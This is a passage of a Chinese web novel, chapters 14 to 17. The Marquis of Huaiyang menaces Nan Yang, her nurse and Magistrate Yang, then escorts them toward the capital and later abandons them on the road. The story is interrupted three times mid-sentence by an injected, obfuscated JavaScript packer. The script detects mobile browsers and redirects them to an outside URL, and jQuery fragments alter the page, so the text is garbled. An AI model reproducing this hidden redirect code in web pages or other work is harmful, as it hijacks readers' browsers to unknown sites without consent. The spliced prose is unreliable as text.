杨县令正好相反，痛苦地闭上了眼睛。 【古之禽兽，尚不食同族幼子。 而今之淮阳侯，啖幼子心、少女肉，惨酷极恶，其非人哉！】 考问的最后一句不是出自诗经。 而是陆太守亲笔书写、委托杨县令带给南泱，希望南泱带去京城的那封书信的内容！ 南泱无言和杨县令对视。 难怪今夜又是写字，又是考学问……原来这里等着她呢！ 淮阳侯又在身后踱步。这个乱糟糟的夜晚，一切混乱而失序，他似乎是唯一满意的人。 身后传来悠然赞赏。 “卫二娘子字写得不怎么样，记性倒不错。” ”十多天之前匆匆拆看一遍的书信，至今牢记心里。想必入京之后，卫二娘子打算全文默写，呈给你父亲卫伯，治本侯的罪了？” 南泱有个不太好的预感。 自己和杨县令的两条小命，要交代在今晚的荒山野岭了。 水边捞过淮阳侯的事要不要说？ 如果被淮阳侯知晓，一巴掌呼脸上把他扇昏、拖麻袋似的把他拖上岸，见过他今生最狼狈模样的人，原来是自己…… 主动揭露秘密的下场，是得到感谢和赏赐，还是会死得更惨？ 说还是不说？留给她的时间不多了。 南泱苦恼地抱膝蹲在地上。 大晚上的，为什么大家不躺平睡觉？为什么非要让她做送命选择题？ 14.第 14 章 身后的脚步声踱到面前。 谁有心情偷看活阎王？南泱抱膝低头看地。 淮阳侯的情绪捉摸不定，刚刚还显露出愉悦，转眼声线又开始发冷。 只见一双黑皮厚底长靴停在面前，长靴主人居高临下问：“还有什么想说的？” 南泱什么也不想说。 匆忙奔走十几天，路上吃不少辛苦，最后还是被堵在距离京畿不远的半道上。 如果路上不休息，日夜兼程赶路，小车会不会已安然入了京城？ 但回京的日子又好到哪里去？ 日复一日关在卫家内宅，抬头只有四四方方的天空，眼前晃来晃去那几张面孔，跟死了有什么区别？ 活着没多大意思，死也就无甚可怕的。 想到这里人顿时又平和了…… 南泱心平气和地商量， “阿姆不识字的。饶过阿姆罢。” 不远处的阿姆激动起来，竟然和持刀将士推搡，意图冲上来护她。几个将士把人挟走，砰一声闷响，又不知扔去哪了。 “就这句？不给你自己求饶？” 求饶有用么？南泱心想，你看起来就像越求饶杀得越兴奋的那种阎王…… 她还没想好要不要把平安镇水边的事捅出来。 人抱膝蹲着，慢吞吞地问：“萧侯，你为什么要在平安镇寻十五岁到二十五岁的小娘子？” 萧承宴悠然踱开两步。 “当然为了吃少女肉。毕竟，本侯‘惨酷极恶’，‘古之禽兽’见了本侯都要拜下风。” 南泱：“……” 还是别说了，直接等死吧。 她把下巴搭在膝盖上，不吭声了。 但面前的活阎王不知在沉吟什么，一圈圈绕着她走。身前土地很快出现几圈脚印。 脚步再度停在面前时，话锋一转，重新现出愉悦尾音： “卫二娘子今晚不吵不闹，表现乖巧。比起伶俐人，本侯还是更喜欢乖巧的。” “这样罢，给你个活路。” 当啷，一把精光四射的匕首扔在南泱面前。 阴影从上方压迫下来，视野里猝不及防出现男人俯下的精壮身躯，窄而有力的腰。腰间悬挂的长刀在她面前摇晃。 南泱想也不想地一闭眼。 活着够不容易了，她可不想看阎王的脸！ 下巴又被捏住抬起，对方借着灯光，近距离观察她的表情。 看完扔开，长靴走开两步，压迫俯视的感觉消散了。 “装乖救不了你。想保自己的命，拿起匕首。” 脚步绕半圈，这回在背后停步，对方森然吐出今晚最后一句： “天明之前，只要杨县令死——你们主仆就能活。” —— 头顶一轮弯月缓慢移动。 二更天了。 将士们三三两两走远，休息的休息，守卫的守卫。 南泱抓着匕首，无言地坐在地上。 阿姆表情复杂坐在身边。 杨县令面色凝重坐在对面。 “今晚是个死局。”杨县令缓缓开口。 “卫二娘子，你真的杀了我，淮阳侯也不见得会守诺放你们离开。如果你不动手，正好给他动手的借口。明早天明，只怕我们一个都活不成。” “不如……”目光落在锋利匕首上。 杨县令下定决心，“等四更天。凌晨睡意最浓时，我冲上去与他们厮杀。卫家乳母持匕首断后。卫二娘子，你赶紧离开。能跑多远是多远，趁夜色躲藏起来。我们当中或许能活一个。” 阿姆即刻赞同，自告奋勇掩护二娘子逃走。 只有南泱摇头。 “跑不掉的。”她实诚道：“赶车十几天的路程都能被他们追上来。他们追踪的本领很强，我和阿姆两个人四只脚能跑多远？” 南泱把匕首递给阿姆，“不如我断后，阿姆，你跑吧。我们当中最可能活下去的就是你了。” 阿姆泣不成声。 杨县令警惕地环顾周围将士，以极低的气声道：“别气馁。有办法逃。你们只管往后跑——陆太守领兵跟来了。” 阿姆的低泣声顿时停住。 又惊又喜，感觉绝处逢生，“当真？！山阳郡的陆太守？当真一路跟来了？” 杨县令肃然道：“绝无虚假。山阳郡亦有轻骑兵力，两边间隔应该不超过一日路程。你们只要活着遇到陆太守，就能得救。” 在阿姆不住的问询和杨县令的低声保证里，头顶月色挪动，两刻钟过去。 二更两刻，距离凌晨又近两刻钟…… 南泱安详地躺下了。 握着匕首，呼吸均匀，蜷着侧睡下去，不知何时陷入了梦乡。 杨县令：“……” 这种局面也能睡得着？不正在商量生死攸关的大事吗？！ 阿姆怜爱地解下外裳，盖在南泱身上，“让她睡吧。累坏了。” 杨县令瞳孔剧颤。 ……不叫醒？？ 另一边。 明文焕亦步亦趋跟随主上。 今夜的事影响不小。他觉得，拎着脑袋也得劝一劝。 明文焕委婉地劝告：“萧侯，杨县令虽说只有七品官职，毕竟是一县之令长。把人从平安镇掳来还能解释，如果他死于今夜，杀害官员的罪名不轻，必定引来朝廷追查。天子病危的关键时刻，政局不稳……萧侯慎重啊。” 萧承宴回应得极为散漫随意。 “杨县令死于今夜，死因是卫家女持匕首杀人。人证物证俱在，卫二娘既然杀了人，叫她偿命便是。” 明文焕大惊，全死局？！他没忍住想多了。 “永兴伯卫氏，与萧侯有仇怨？” “无。卫二娘运气不好，撞上本侯而已。” 琉璃灯已熄灭。萧承宴牵马在旷野闲走，月色清亮如水，映出唇边细微的嘲讽弧度。 “不是喜欢卖傻装乖么？赌上她自己的性命，看她真乖巧，还是装乖巧。” 明文焕追上急问，“如果卫二娘子宁可自己死也不肯动手杀人……萧侯打算如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147748|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处置卫家主仆和杨县令？” 萧承宴不回头地吩咐：“去两个人，把马车查修一下。” 明文焕高高悬起的心顿时安稳落回肚皮。 萧侯麾下都习惯了快马，除非受伤，没一个肯坐车的。 连夜查修马车，显然是预备着明天给卫二娘主仆和杨县令这些不骑马的人用了。 原来萧侯今晚布置的所谓全死局，只是突然兴起，试探人心。 如果卫二娘子坚决不肯动手杀人，反倒打开了生门…… 明文焕脸上露出放松释然的笑意。 他见好就收，准备告辞：“夜深了，萧侯早点休息。臣属也——” “慢着。”萧承宴走在前方，闲聊般提起： “明先生最近劝谏的次数不少。上次劝我不烧山，这次又劝我不杀朝廷命官。公心多一些，还是私心多一些？” 明文焕一愣，送命题？ 萧承宴悠然牵马慢走，夜风里抛出第二个问题。 “明先生慌张了。分明畏惧本侯，却又冒着风险煞费心思出言劝谏。劝谏的意图，为了挽救本候声誉？为了地方百姓福祉？可怜小女子性命？还是为了明先生自己的将来打算？” 明文焕：“……”好好好，第二个送命题又来了。 荒郊野外的，萧侯身上正好带刀，答错了直接拔刀把他砍了，扔山沟一埋完事。 能长久跟随萧承宴的辅臣，当然都有两把刷子。 明文焕嘴角抽搐几下，直言不讳。 “萧侯当初强留下臣属的时候，说好只做个随军郎中，只负责治伤病的呢？” “后来怎么一摊摊的破事都往臣属身上堆？臣属怎么就成了萧侯的谋臣了？臣属压根不想做谋臣啊！” 萧承宴停步大笑起来。 回身拱手告罪，“委屈明先生了，回去歇着吧。”噙着笑继续牵马散步。 明文焕一横心，从身后高喊：“萧侯听我一言，救下萧侯的恩人小娘子，一定要好好对待！卫家二娘和杨县令并无犯下死罪，也杀不得！” 萧承宴往身后摆摆手。 —— 天色亮了。 南泱一觉睡醒起身，初秋天气早晚凉爽，只觉得神清气足，倦怠一扫而空。 阿姆坐在身侧，担忧又宽慰地望着她。 杨县令坐在对面，面无表情地瞪着她。 南泱欣慰地把外衫还给阿姆。 太好了。一觉睡起来大家都还活着，可喜可贺。 手刚刚动了动，啪嗒，一把寒光四射的匕首滑落地上。 匕首落地的清脆声响，仿佛某个信号，又仿佛敲响了两军对战的鼓点。几个健壮亲兵提刀杀气腾腾走近。 阿姆和杨县令的脖子上又多出两把冰凉钢刀。 “天色已亮。卫二娘子，你想好了？” 为首的将士冷冷提醒：“杨县令不死，你们卫家主仆就要下地府了。” 南泱：“……”一觉睡醒，这事怎么还没过去呢。 杨县令：“……” 15.第 15 章 脖子上一凉，南泱纤细的后颈处也架上一把钢刀。 晨曦亮光之下，少女白皙的脖颈上迅速浮起一层明显的鸡皮疙瘩。 杨县令脸色铁青，喝道：“杨某今日必死，又何必拖累妇孺。罢了！杨某死后，还望萧侯信守承诺，放卫家主仆离去！” “卫二娘子，匕首捡起来，动手！” 南泱慢吞吞地弯腰捡匕首。 明先生早来了，摇着大蒲扇站在人群里看热闹。狄将军抱臂站在人群后头看热闹。 南泱的眼角余光里出现一匹健壮高大的黑马。瞧着像淮阳侯的坐骑，站在远处路边低头悠闲啃草。 黑马旁边，有个身量很高的男子靠树倚着，松松地牵着马缰绳，腰间挂一把长刀。 面孔隐在树荫下看不清晰，但她觉得，那个就是淮阳侯萧承宴。 ——这位也在看她热闹呢？ 南泱嘴角抽了抽，把目光挪开了。 大清早谁想看活阎王？ 她既不想杀杨县令，更不想阿姆出事。原地徘徊几步，下定决心往人群里钻。 走出两步就被将士们警惕围住了。 “做什么去？” “你要做什么？！” 南泱这时才意识到手里还抓着匕首，赶紧把匕首抛去地上，再踢去远处。 “别围着看了，我不会杀杨县令的。” “带我去萧侯面前。平安镇有件事，小女子要当面告知萧侯。” 无人让路。 狄容走过来几步，“什么事寻主上？先告诉我。” 南泱豁出去了：“萧侯不是全镇搜寻十五岁到二十五岁的年轻女子吗？把我带去吧。或许我便是他要寻的人呢。” 早晨起来神清气爽，她想清楚了。 平安镇河边发生的事，她打算原原本本地告诉淮阳侯。 她不指望身后跟着的山阳郡守的队伍救命。能不能跑得掉，能不能寻到陆太守的队伍，她是被追上过的，并不像杨县令那么乐观。 只要动了逃走的念头，只怕就活不久了。 南泱心里打算好了，用水边捞人的一场缘分，换阿姆的命。 哪怕对方恼羞成怒，把她杀了，报那一巴掌的仇，应该会放过阿姆吧。 毕竟，杨县令和她自己都看过陆太守那封要命的书信，只有阿姆不识字。 如果三个人里面只能活一个……至少让阿姆活。 “你说你是主上寻的那位小娘子？！” 狄荣瞠目，当真拨开人群要去回禀。 南泱赶紧跟上两步，明文焕却摇着蒲扇走出人群，抬手笑拦：“不必去了。她不是萧侯寻找的小娘子。” 南泱傻眼了，“啊？”你为何如此笃定啊明先生？ 难得一次下定决心，才开头就碰了壁，她被挡在人群后，目光带茫然，再次望向远处大树。 高大黑马还在原地，悠然低头吃草，黑马主人却不见了影踪。 回想起来，似乎她扔开匕首的那个刹那，人便转身走了。 南泱：……这又是个什么走向？ 昨晚，淮阳侯绕着她一圈圈地转，当时她蹲在地上不想看他； 今天想见淮阳侯了，竟然见不着人？ 南泱指着自己，试图再挣扎一次：“或许我真的是萧侯要找的人呢？明先生你看看我——” 明文焕怜爱的目光像在看个傻孩子。 “卫二娘子出身名门，大家闺秀，当然不是萧侯要寻的那位乡野小娘子。二娘子在试图拖延时间罢？不必不必，没事了。别去找萧侯了，上马车回京城不好吗？” 南泱：？？ 明文焕的态度突然热络起来，连哄带夸，引她往路边马车去。 “哎呀，利刃当前，刀锋在颈，卫二娘子依旧不肯杀伤人命，宅心仁厚，好得很，好得很啊！来来来，马车昨晚就查修好了，上车上车。这就送卫二娘子回京。” 南泱：“……” 南泱对着面前华丽宽敞的双马大车发呆。 这是淮阳侯自己的车吧？ 她细微打了个寒战，转身要走，“不不不，我们的小车卡在沟里，抬出来还能用。” 明先生赶紧把人拦住，正在好言好语地劝说上车，身后突然传来一阵急奔马蹄声。 淮阳侯的黑马坐骑出现在南泱的视野里。 紧随黑马而来的呼啸风里传来一句淡漠吩咐：“废话什么，上车。” “……”南泱被两个亲兵塞进马车里。 阿姆和杨县令很快也被塞进马车。 三人对坐在装饰华丽的大车里面面相觑。 虽然车行缓慢，并不怎么颠簸，比起之前的小车来说甚至称得上舒适…… 但三人都觉得头晕目眩，呼吸不畅，仿佛陷进一场无比荒诞的梦。 自从昨晚小车被追上，陷入必死的死局；天明后突然反转、死里逃生；现在居然坐进淮阳侯的华丽大车，直奔京城而去。 从头到尾想不通为什么，只觉得心胆震颤。 杨县令神色凝重：“卫二娘子，你到底做了什么，令萧侯回心转意，放过我们性命？” 南泱也不知自己做了什么……她连人都没见着。 “不，一定有原因。一定和卫二娘子早上的答复相关。” 杨县令长叹一声，起身长揖到地：“在下杨慎之。杨某这条性命，是卫二娘子救下的。” 南泱赶紧起身让开：“不不不，我真的没做什么。” 杨县令坚持拜下：“救命大恩不敢忘！” …… 想不通的南泱直接躺下了。 身上蒙着阿姆的外衫，靠在车窗打盹。一场突然而来的滚雷阵雨也没能把她从梦里惊醒。 阿姆的念叨声隔着布料传进耳朵，夹杂着头顶沙沙的阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151962|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨声响，朦朦胧胧的，像梦境蒙了一层纱。 “这趟真是受了大罪了。淮阳侯是个不折不扣的疯子。谁知道疯子如何行事，会不会真的把我们送去京城？提心吊胆的。” “如果二娘子早早地嫁了，人不留在卫家，去年就不会因为几句姐妹口角被送去镇子，也就不会受这场大折腾。” “如果二娘子的亲娘周夫人好好的没有发疯，二娘子留在卫家，有亲娘撑腰，必定也是个千娇万宠的千金，气派不输大娘子，哪像如今这光景……哎。” 南泱在披风下动了动，半梦半醒地想，不会。 阿娘就算好好的没有发疯，也早失宠了。阿父不是能长长久久宠爱一个妇人的性子。 阿父后宅的妇人，没一个过得好的。哪怕是嫡母过得也不好。 阿姆低声念叨个不停。 话题不知怎么的，转去了“陆”这个姓氏上。 “山阳郡守也姓陆。对了，险些忘了，陆氏在山阳郡是个大姓。” 阿姆絮絮叨叨地念：“二娘子，还记得小时候经常来卫家做客的陆大郎君吗？你有个姑奶奶嫁入陆家，你们两个算隔一辈的姑表亲。陆大郎君他家祖籍也在山阳郡，说不定和陆太守同宗呢。一转眼好多年不见，二娘子你都十六了，陆大郎君今年也该……” 阿姆算了算，不很确定，“二十二三了罢。” “二十二岁。”南泱闭着眼道，“陆家大表兄比我大六岁。” “对，”阿姆喜道：“二娘子还记得这些就好。陆大郎君从前在京城读书受业，和二娘子小时候玩得多亲近？那才叫青梅竹马。自打十六岁学成，陆大郎君离开京城，这么多年再不见面了。二娘子回去跟家主打听打听，人在何处啊……” 相比于阿姆暗含期待，南泱回应得很平淡。 她翻了个身，披风往下拉了拉，只露出一双眼睛，慢吞吞说了句大实话。 “陆大表兄早跟我无甚关系了。阿姆，让我继续睡吧。”扯开披风又要兜头躺下。 阿姆又气又急，气急里带无奈。 二娘子什么都好，就是遇事不争不抢的，骨子里缺少一股发狠拼命、把东西牢牢攥在手心里的心气。 陆大郎君是什么人？他和二娘子可不是普通的表兄表妹。是从前周夫人当家时，差点给二娘子定下的夫婿人选！ 如今呢，内宅传出风声，陆、卫两家确实打算亲上加亲，但和陆大郎君定下的，却成了卫家嫡出的长女！ —— 明文焕骑在马上若有所思。 从怀里取出一张平安镇带出的画像，迎风展开看了一阵，赶上队伍前方萧承宴的坐骑。 “有件事臣属本来觉得不可能。但细想想，又有点像。” “萧侯请看。卫二娘子的长相，瓜子脸，圆眼睛，肤色白皙，个头娇小……和平安镇妇人们描述的恩人小娘子的相貌一致啊。” 16.第 16 章 阿姆一路絮叨个不停。 南泱蒙头想睡，被唠叨得在披风下一阵睡一阵醒，满耳朵都是“陆大郎君”。 她无奈把披风掀开，“哪有什么青梅竹马？十岁以后，我再没见过陆家大表兄了。这都多少年了？” 阿姆气道：“那是你关在内宅出不去，他人不在京城！” 南泱：“我一直都在卫家内宅关着，几年不挪地方。陆大表兄真有心见我，难道想不出法子吗？所以他心里并不觉得我很要紧。” 阿姆哑了。 车厢里终于安静下去，南泱蒙头继续睡。 但阿姆一番话还是有影响的。她的心境不如以往平静，仿佛湖面微风吹动涟漪，细微地波动起来。 她其实清晰地记得陆家大表兄陆澈的。 陆家几兄弟都在京城太学受业，逢年过节，陆家大大小小一群少年来卫家拜年送礼。 陆澈是长兄，领着身后一群吵吵闹闹的小豆丁，仿佛鹤立鸡群。他生得又好，气质泠泠卓然，很难让人不望见他。 年幼懵懂时不觉得，长大了偶尔想起那段年岁，阿娘未发疯的那几年，借着打理卫家内宅的便利，确实有意撮合她和陆家大表兄。 家里姐妹三个，上头有嫡姐，下头有幼妹。她夹在中间不上不下的，每次和陆家兄弟见面，都是她这二娘领头。 南泱翻了个身。 阿姆心疼她，陆家大表兄和她的亲事黄了以后，总觉得还有希望，还想替她挽回。 其实整个卫家上下，也只有阿姆如此想了。 南泱小时候不懂这些弯弯绕绕。 阿娘发疯的那一年，她搬去冷清的偏僻小院单过，太冷清了，便扳着手指头数日子过年，等陆家大表兄领着几个弟弟过年来找她玩耍，一群陆家兄弟热热闹闹地扔爆竹，发金铢钱，提笔画年画，画桃符，提花灯四处转悠。 她提前准备好了笔墨画纸和回礼，但陆家大表兄没来她的小院。 那是陆大表兄在太学的最后一年。 过完年他便离开了京城。据说来过卫家一趟辞行，南泱还是没见到人。 几年之后，有次她去嫡母那里问安，去得早了，隔门听到一句： “陆家嫡长子配卫氏嫡女，那才叫门当户对。周氏商户女出身，只闻得到铜臭味，看人都是两只眼睛一个鼻子，以为陆家出身山阳郡就是乡下人家，她女儿冠个卫姓便配得上了。她哪懂什么叫世家，什么叫做七世族谱、百年望族。” …… “你们看人都是一只眼睛两个鼻子。祝你们全家干干净净，钱袋破洞，米缸见底，一点铜臭味都闻不到。” 颠簸的马车里，南泱在披风底下低声咕哝。 马车越行驶越快，颠得睡不着，她掀起飘动的车窗帘子，探头往外看。 前头赶车的亲兵留意到动静，以为她担忧行程，高声道： “卫二娘子不必担心，回去坐着。我家主上说送你一程就送你一程，明天入京畿地界！后天天黑之前一定送你进卫家大门！” 多谢你啊，听起来一点都不期待。 南泱：“……慢点赶路也不要紧。” 赶车亲兵高喊：“慢点要紧！刚刚主上还吩咐下来，车太慢，要小人加鞭赶路。小人再快点可以吗？”说罢扬鞭狠抽。 两匹骏马加速狂奔，南泱在车里颠得飞起三寸。 阿姆面色发白，扑过去扒住车窗。 南泱喊：“车行慢点！阿姆要吐了！” 阿姆：“呕！！” 车前头半天没说话的杨县令：“——呕！！” —— 轻骑停在路边休息，等后面落得无影无踪的大车跟上。 萧承宴接过画像，打量这幅根据妇人们描述绘制的，平安镇水边救下他的小娘子画像。 尖下巴，小脸，圆眼。长得乖巧。 确实如明文焕所说，和卫二娘的长相有点像。 但天下生得圆眼瓜子脸的小娘子何止千万？京城里扒拉几下也能找出上百个。 萧承宴看完便扔开了。 “卫二娘这种不怎么出门的女眷，整年照不到几次日光，当然生得白。” “个头矮的女子多的是。稍微齐整点的相貌，瓜子脸圆杏眼，一抓一把。” 明文焕追出去把画像捡回来。 “萧侯说得有理，但卫二娘子确实生得像。” 萧承宴闭着眼道：“葛衣赤足，独自划船捞莲蓬。” 明文焕哑然。 这是最大的疑点。 出身勋贵高门的女郎，如何会穿葛衣、踩草鞋，独自出门划船摘莲蓬？ 桩桩件件，放在卫家伯府门第的女郎身上，简直惊世骇俗。 只有贫家谋生的小娘子才不讲究。 萧承宴把画像又抽过去。 头顶初秋的日头毒，他曲起长腿靠坐树荫下，把画像盖去脸上遮太阳。 纸下传出一声平静的感慨。 “时日拖得越久，越难寻人。还是应该一把火烧了那片山。” 明文焕呛咳了声。 这么久了，还惦记着烧山呢？ “萧侯稍安勿躁。临走前已经抽调当地府兵，继续四处张贴告示，重金悬赏，封山寻人。” “小镇子周围能有多少人？哪怕终年山里打猎的猎户，总有人见过。有人见过就能寻到，只是时日早晚的问题。” 萧承宴闭着眼，背靠树干假寐。 眼看山风要把覆盖脸上的画像卷走，明文焕赶紧抓过来，这可是最后一张了。 阳光下露出一张轮廓优美的年轻男子侧脸。剑眉浓黑，天庭饱满，薄削的唇线上扬，似乎在笑，细看又像嘲讽。 萧承宴忽地睁眼。 闭目假寐让人只觉得贵气俊美的一张脸，一旦睁开眼后，狭长眼尾上挑，斜睨看人时，便带出十足的挑衅意味。 此刻他的目光斜睨向来处道路。 两匹骏马并排拉乘的华丽宝盖大车，是他专门从京城带出、打算带去封地的门面。这本是一辆风驰电掣，速度绝尘的宝车。 现在却像乡下老牛拉的破车，车速迟缓，歪歪斜斜地出现在视线里。 两边车窗口，一边探出一个半死不活的身形，给这辆生不逢时的宝车又增添几分老弱病残的气息。 阿姆和杨县令一边一个扒在车窗上。 “呕～～！” —— “躺下歇歇吧。” 南泱担忧地扶着阿姆，又瞅瞅吐得止不住的杨县令。 两人的病症类似，都是精神太过紧张，整夜未进食水，路上又颠簸得太厉害，身子扛不住了。 南泱招呼前头，“车再慢些。 ” 赶车亲兵绝望地勒了下缰绳，“主上在前头等我们……等很久了。” 阿姆边吐边口齿不清地求神拜佛，希望淮阳侯在前方遇上意外，早死早超生，两边不能汇合才好。 南泱一路行过来，对淮阳侯倒有几分改观。 “昨晚的所谓死局，只是吓唬我们？” 她自言自语道，“嘴上说的凶狠，既没杀杨县令，又没杀我们。还把他自己的马车让给我们，送我们去京城。” 阿姆脸色苍白地回过头来，深深叹气。 “二娘子，你总是把人想太好。他昨晚没有动手，谁知道今晚会不会突然起了兴致，对我们动手？那就是个活阎王……呕！” 赶车的亲兵大喊：“前方看到主上了！两位撑住，明先生医术绝佳，两边汇合以后，他一定可以治好你们！” 听说两边即将汇合，萧侯就在前方，阿姆和杨县令吐得更凶了。 马车汇入轻骑阵列，明先生简略地望闻问切诊治一番，回禀主上。 南泱坐在车里，车外的对话声清晰传入耳中。 杨县令和阿姆都显出急性热风寒的症状。 明文焕道：“虽不是什么大病，但路上处置不好，也容易转成重症的。一下多了两个病人，马车接下去几日得缓行了。” “是轻骑先入京呢，还是等马车一起缓行入京？请萧侯定夺。 ” 萧承宴的嗓音平淡到近乎冷酷。 “一点热风寒都顶不住的人何必活在世上？马车加速，随轻骑入京。” “杨慎之上马，明先生看着治。卫家乳母扔下。卫二娘无事？继续坐车。明日入京畿。” “刚才赶车的是哪个？拖慢行程，拖下去打二十棍。” 南泱吃惊地坐直身体。 ——卫家乳母扔下？？ 车帘子左右掀开，两个健壮亲兵上车，直接把杨县令提溜下车，半死不活地扔去马背上。 赶车亲兵一脸早知如此的倒霉表情被拖下去罚军棍。 亲兵们忠实执行主上的命令，但最后一步，把卫家乳母丢下车的行动遇到了阻力。 南泱扯着阿姆不放手。 阿姆被拖下车，南泱跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156955|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着下车。 阿姆被扔去路边土沟，南泱紧随不舍，抓着阿姆的手也蹲进土沟里。 事态发展得太快太混乱，阿姆在喃喃地说不必管她，明先生走过来劝慰，杨县令远远地对她喊什么，南泱只管陪阿姆蹲在路边。 造成这片混乱的罪魁祸首已经走出老远，忽地勒马回望一眼。 两个亲兵奔过来要把她带回车上，南泱死活不肯挪动。 她抓住阿姆的手不放，自己在路边土沟寻了个平整位置，安详地平躺了下去。 “把我们都扔下吧。” “不耽误萧侯的马车回京。” “多谢萧侯。” 明文焕凑近听到这句“多谢萧侯”，哭笑不得，回去如实地禀： “卫二娘不肯舍弃乳母，宁愿一起被扔在荒郊野外。满满一土沟的尘土灰泥，亏她一个年轻小娘子躺得下去。” 萧承宴勒马回望的那一眼，早把情况看清楚了。 卫二娘有点意思。他很久没看到这么有趣的人了。 “才十六岁的小娘子，还没嫁人，养尊处优地长大，总不会真的轻易放弃归家，愿意陪乳母流落在荒郊野外？” 萧承宴笃定道：“她在打小车的主意。” 卫家小车扔在来路。摆脱了他的轻骑车队，从这里往回走，约莫走上一两天，原路能找到车。 运气好的话，还能找到被扔在路边的杨家车夫。 明文焕想了想，也只有这个可能。 活生生的小娘子躺在土沟里，他有些不忍，开口求情： “萧侯，放她们卫家主仆一马，送回车上罢。” 萧承宴：“她喜欢躺土沟里，让她躺着。我倒要看她多久躺不住。” 说罢把缰绳递给亲兵，自己走向路边野林，后背靠住一棵枝繁叶茂的大树，远远地亲自盯看。 明文焕：？？？ 不是下令要赶路回京吗萧侯？怎么你又不急了？ —— 南泱平躺在土沟里，耳边听得马车轱辘声远去了。 身边的阿姆昏睡过去，她躺着发了一阵呆，爬起身四处寻水。 淮阳侯的轻骑队伍早已消失不见，满地凌乱的马蹄印。几步外躺着一只水囊，不知被谁扔下，水囊边还剩下半袋急行军用的炒米。 南泱心头升起喜悦，喂阿姆几口水，又抓出一捧炒米，就着水喂食。 暮色笼罩旷野，周围只剩她们两个，寂静荒芜。四周都是野林子，巨大的树冠在夜色里张牙舞爪。看得久了，倒也别有风味。 南泱解下披风铺地，把阿姆挪去披风上躺着。自己坐着守卫一阵，吃点炒米，看了会儿野景，又躺下了。 这回没躺多久就起身，叹着气拍打身上，喃喃地说：“有虫子……” 头顶星辰闪烁。 周围野林子里影影绰绰，全是人。 狄荣蹲在野林子里盯了半夜，顶不住了。啪，拍死一只嗡嗡吸血的毒蚊子，低声嘀咕：“她还真在土沟里躺了大半夜……” 卫二娘子在土沟里躺了半夜，他们蹲野林子里盯了半夜，这算个什么事？？ 萧承宴当然也没睡，在野林子里亲自盯着。从天黑盯到半夜，神色居然愉悦地很。 “真是个有趣的小娘子，明先生觉得呢？” 明文焕蹲在野林子里，不住地搓脸。 大家都整夜不睡地盯卫二娘子，他没什么想法，他是个正常人，感受不到萧侯的“有趣”究竟哪里有趣，也无法理解萧侯为什么不赶路不休息，大半夜兴致勃勃地盯小娘子睡土沟。 话说回来，睡了半夜土沟的卫二娘子你正常吗？ 乳母已无生命危险，卫二娘子为什么不赶紧往回程走，连夜去找小车和杨家车夫？为什么继续躺回去睡土沟？啊？？ 南泱这个晚上醒了四五次，喂阿姆三次水食，又被虫子咬醒三次。 等她再次迷迷糊糊犯困，大地却又震颤起来，把她震醒。 野林子里打瞌睡的众将士也骤然警醒，纷纷握刀起身。 有大队快马从远处追赶而来。 萧承宴抱臂靠在野林子边，眼神幽幽发亮，注视几匹快马勒停路边，火把照亮地上大片凌乱的马蹄印和马车痕迹。 追赶来的快马轻骑往后方高喊：“回禀陆太守！这里有新鲜的车辙痕，是淮阳侯的双马大车！淮阳侯带着卫二娘子刚走不久！” 猝不及防被点名的南泱：……哎？ 17.第 17 章 南泱觉得自己一定睡迷糊了。 昨天傍晚便离去的淮阳侯麾下大批轻骑，仿佛鬼影一般，突然从四面八方的野林子里出现。 连带那辆双马大车，都重新停靠在路边。 夜色疾驰而来的第二批快马车队，更像鬼影。 她眼睁睁看着几十匹快马簇拥一辆马车停下，车里走出一个面色沉静、身如修竹的郎君，大袖襕衫，典型士人打扮。 侧脸望去，居然有七分像少年陆澈。 南泱坐在土沟里，树冠阴影覆盖了整片地段，酷似陆大表兄的郎君从她身边走过，七八个亲随举着火把簇拥左右，没有一个察觉路边的她。 南泱怀疑自己在做梦。 阿姆白天提起了陆大表兄，她夜里便梦见了？ 其实梦见了对方也无甚好说的。他们真的很久没有见过面了。 刚想到这里，沉睡中的阿姆动了动。 南泱给阿姆喂点水，继续安静旁观。 两拨人马碰面。 这边由酷似陆大表兄的郎君领头，对面走出明先生。 酷似陆大表兄的郎君客气疏淡地道：“又见面了，明先生。萧侯在否？” 明文焕带笑行礼：“竟是陆太守亲至，下官还以为看错了。这一片地界早已脱离山阳郡，陆太守领兵越界，直入京畿……呵呵，要受御史弹劾的啊。 ” 南泱：？？ 酷似陆家大表兄陆澈的这位……山阳郡，陆太守？？ 她疑惑地揉揉眼睛，定睛细看。 来自山阳郡的年轻的陆太守，在火把光下显露陌生的高挑背影，听声线也认不出曾经的少年嗓音。 侧脸还是七分像陆大表兄。越看越像。 南泱迷惑起来。自己还在做梦？ 